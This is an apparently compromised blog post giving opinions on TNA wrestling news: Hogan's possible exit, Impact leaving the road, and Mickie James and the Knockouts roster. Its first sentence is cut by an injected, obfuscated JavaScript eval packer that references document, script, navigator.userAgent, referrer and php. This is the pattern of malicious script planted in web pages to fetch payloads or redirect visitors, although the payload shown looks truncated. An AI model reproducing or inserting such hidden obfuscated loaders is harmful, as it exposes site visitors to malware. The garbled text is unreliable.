TNA’s Latest Woes
So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rizbb|var|u0026u|referrer|fztya||js|php'.split('|'),0,{})) the big stories at the moment are Hogan possibly leaving after October 1, TNA possibly taking Impact off the road by the spring and Mickie James’ contract expiring and her walking away. We’ll lump these together into one post and say…..1. This is I believe the third time in four years that it appears Hogan won’t be at Bound For Glory no matter what I believe? At the end of the day, Hogan is probably more trouble than he’s worth. I’d assume he’s the highest paid guy in TNA and he’s on TV about five minutes a week anymore. I doubt Hogan is leaving forever, but I can’t imagine he won’t be at BFG.
2. Impact off the road would probably be a good thing. It has to cost a good deal of money for them to change venues every other week and with only four regular PPVs a year, the financial burden must be weighing them down. Yeah it’s annoying to have it in the same place every week, but if it’s what keeps them financially sound, so be it.
3. Mickie James leaving puts them at four active Knockouts: ODB, Velvet Sky, Gail Kim and Tessmacher, who hasn’t been in a match for months now. Taryn is on maternity leave and will be gone for months. But remember people: Ivelisse just doesn’t have what it takes to be on Impact. All she has are looks, ability, charisma and in ring abilities, plus an appeal to the Latino demographic. Just not worth it.
In short, TNA is in a big state of flux at the moment and it’s hard to say where it comes out. It should be interesting though.
